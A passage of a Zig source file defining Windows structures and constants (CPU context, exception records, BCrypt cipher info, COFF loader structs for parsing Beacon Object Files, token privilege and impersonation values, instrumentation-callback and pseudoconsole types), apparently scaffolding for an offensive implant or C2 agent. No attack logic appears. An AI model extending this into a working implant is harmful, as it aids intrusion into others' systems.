SegDs: WORD,
|
||||
SegEs: WORD,
|
||||
SegFs: WORD,
|
||||
SegGs: WORD,
|
||||
SegSs: WORD,
|
||||
EFlags: DWORD,
|
||||
Dr0: DWORD64,
|
||||
Dr1: DWORD64,
|
||||
Dr2: DWORD64,
|
||||
Dr3: DWORD64,
|
||||
Dr6: DWORD64,
|
||||
Dr7: DWORD64,
|
||||
Rax: DWORD64,
|
||||
Rcx: DWORD64,
|
||||
Rdx: DWORD64,
|
||||
Rbx: DWORD64,
|
||||
Rsp: DWORD64,
|
||||
Rbp: DWORD64,
|
||||
Rsi: DWORD64,
|
||||
Rdi: DWORD64,
|
||||
R8: DWORD64,
|
||||
R9: DWORD64,
|
||||
R10: DWORD64,
|
||||
R11: DWORD64,
|
||||
R12: DWORD64,
|
||||
R13: DWORD64,
|
||||
R14: DWORD64,
|
||||
R15: DWORD64,
|
||||
Rip: DWORD64,
|
||||
};
|
||||
|
||||
pub const EXCEPTION_RECORD = extern struct {
|
||||
ExceptionCode: DWORD,
|
||||
ExceptionFlags: DWORD,
|
||||
ExceptionRecord: *EXCEPTION_RECORD,
|
||||
ExceptionAddress: *anyopaque,
|
||||
NumberParameters: DWORD,
|
||||
ExceptionInformation: [15]ULONG_PTR,
|
||||
};
|
||||
|
||||
pub const EXCEPTION_POINTERS = extern struct {
|
||||
ExceptionRecord: *EXCEPTION_RECORD,
|
||||
ContextRecord: *CONTEXT,
|
||||
};
|
||||
|
||||
pub const RTL_OSVERSIONINFOW = extern struct {
|
||||
dwOSVersionInfoSize: DWORD,
|
||||
dwMajorVersion: DWORD,
|
||||
dwMinorVersion: DWORD,
|
||||
dwBuildNumber: DWORD,
|
||||
dwPlatformId: DWORD,
|
||||
szCSDVersion: [128]WCHAR,
|
||||
};
|
||||
|
||||
pub const BCRYPT_ALG_HANDLE = *opaque {};
|
||||
pub const BCRYPT_KEY_HANDLE = *opaque {};
|
||||
pub const BCRYPT_SECRET_HANDLE = *opaque {};
|
||||
|
||||
// 1e. BCrypt auth mode info + COFF loader structs for BOF parsing
|
||||
pub const BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO = extern struct {
|
||||
cbSize: ULONG,
|
||||
dwInfoVersion: ULONG,
|
||||
pbNonce: ?*u8,
|
||||
cbNonce: ULONG,
|
||||
pbAuthData: ?*u8,
|
||||
cbAuthData: ULONG,
|
||||
pbTag: ?*u8,
|
||||
cbTag: ULONG,
|
||||
pbMacContext: ?*u8,
|
||||
cbMacContext: ULONG,
|
||||
dwFlags: ULONG,
|
||||
pbIV: ?*u8,
|
||||
cbIV: ULONG,
|
||||
};
|
||||
|
||||
pub const coff_file_header_t = extern struct {
|
||||
Machine: u16,
|
||||
NumberOfSections: u16,
|
||||
TimeDateStamp: u32,
|
||||
PointerToSymbolTable: u32,
|
||||
NumberOfSymbols: u32,
|
||||
SizeOfOptionalHeader: u16,
|
||||
Characteristics: u16,
|
||||
};
|
||||
|
||||
pub const coff_section_header_t = extern struct {
|
||||
Name: [8]u8,
|
||||
VirtualSize: u32,
|
||||
VirtualAddress: u32,
|
||||
SizeOfRawData: u32,
|
||||
PointerToRawData: u32,
|
||||
PointerToRelocations: u32,
|
||||
PointerToLinenumbers: u32,
|
||||
NumberOfRelocations: u16,
|
||||
NumberOfLinenumbers: u16,
|
||||
Characteristics: u32,
|
||||
};
|
||||
|
||||
pub const coff_symbol_t = extern struct {
|
||||
Name: extern union {
|
||||
ShortName: [8]u8,
|
||||
LongName: extern struct {
|
||||
Zeroes: u32,
|
||||
Offset: u32,
|
||||
},
|
||||
},
|
||||
Value: u32,
|
||||
SectionNumber: i16,
|
||||
Type: u16,
|
||||
StorageClass: u8,
|
||||
NumberOfAuxSymbols: u8,
|
||||
};
|
||||
|
||||
pub const coff_reloc_t = extern struct {
|
||||
VirtualAddress: u32,
|
||||
SymbolTableIndex: u32,
|
||||
Type: u16,
|
||||
};
|
||||
|
||||
pub const coff_mapped_section_t = struct {
|
||||
data: []u8,
|
||||
characteristics: u32,
|
||||
name: [8]u8,
|
||||
};
|
||||
|
||||
pub const bof_data_parser_t = struct {
|
||||
data: []const u8,
|
||||
offset: usize,
|
||||
};
|
||||
|
||||
pub const OBJECT_ATTRIBUTES = extern struct {
|
||||
Length: ULONG,
|
||||
RootDirectory: ?HANDLE,
|
||||
ObjectName: ?*anyopaque,
|
||||
Attributes: ULONG,
|
||||
SecurityDescriptor: ?*anyopaque,
|
||||
SecurityQualityOfService: ?*anyopaque,
|
||||
};
|
||||
|
||||
pub const CLIENT_ID = extern struct {
|
||||
UniqueProcess: HANDLE,
|
||||
UniqueThread: ?HANDLE,
|
||||
};
|
||||
|
||||
pub const PROCESS_INSTRUMENTATION_CALLBACK = extern struct {
|
||||
Version: ULONG,
|
||||
Reserved: ULONG,
|
||||
Callback: ?*anyopaque,
|
||||
};
|
||||
|
||||
pub const PROCESS_CREATE_INFO = extern struct {
|
||||
Size: SIZE_T,
|
||||
ProcessHandle: HANDLE,
|
||||
ParentProcess: HANDLE,
|
||||
};
|
||||
|
||||
pub const SECURITY_IMPERSONATION_LEVEL = enum(u32) {
|
||||
SecurityAnonymous = 0,
|
||||
SecurityIdentification = 1,
|
||||
SecurityImpersonation = 2,
|
||||
SecurityDelegation = 3,
|
||||
};
|
||||
|
||||
pub const TOKEN_TYPE = enum(u32) {
|
||||
TokenPrimary = 1,
|
||||
TokenImpersonation = 2,
|
||||
};
|
||||
|
||||
pub const TOKEN_DUPLICATE: DWORD = 0x0002;
|
||||
pub const TOKEN_QUERY: DWORD = 0x0008;
|
||||
pub const TOKEN_ADJUST_PRIVILEGES: DWORD = 0x0020;
|
||||
pub const TOKEN_ASSIGN_PRIMARY: DWORD = 0x0001;
|
||||
pub const TOKEN_IMPERSONATE: DWORD = 0x0004;
|
||||
|
||||
pub const LUID = extern struct {
|
||||
LowPart: DWORD,
|
||||
HighPart: LONG,
|
||||
};
|
||||
|
||||
pub const LUID_AND_ATTRIBUTES = extern struct {
|
||||
Luid: LUID,
|
||||
Attributes: DWORD,
|
||||
};
|
||||
|
||||
pub const TOKEN_PRIVILEGES = extern struct {
|
||||
PrivilegeCount: DWORD,
|
||||
Privileges: [1]LUID_AND_ATTRIBUTES,
|
||||
};
|
||||
|
||||
// 1f. security/privilege/token constants
|
||||
pub const SE_PRIVILEGE_ENABLED: DWORD = 0x00000002;
|
||||
pub const GENERIC_READ: DWORD = 0x80000000;
|
||||
pub const GENERIC_WRITE: DWORD = 0x40000000;
|
||||
pub const OPEN_EXISTING: DWORD = 3;
|
||||
pub const OPEN_ALWAYS: DWORD = 4;
|
||||
pub const CREATE_ALWAYS: DWORD = 2;
|
||||
pub const FILE_SHARE_READ: DWORD = 0x00000001;
|
||||
pub const FILE_SHARE_WRITE: DWORD = 0x00000002;
|
||||
pub const FILE_ATTRIBUTE_NORMAL: DWORD = 0x00000080;
|
||||
pub const INVALID_HANDLE_VALUE: HANDLE = @ptrFromInt(~@as(usize, 0));
|
||||
|
||||
pub const CRITICAL_SECTION = extern struct {
|
||||
DebugInfo: ?*anyopaque,
|
||||
LockCount: LONG,
|
||||
RecursionCount: LONG,
|
||||
OwningThread: HANDLE,
|
||||
LockSemaphore: HANDLE,
|
||||
SpinCount: ULONG_PTR,
|
||||
};
|
||||
|
||||
pub const PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE: DWORD_PTR = 0x00020016;
|
||||
Reference in New Issue
Block a user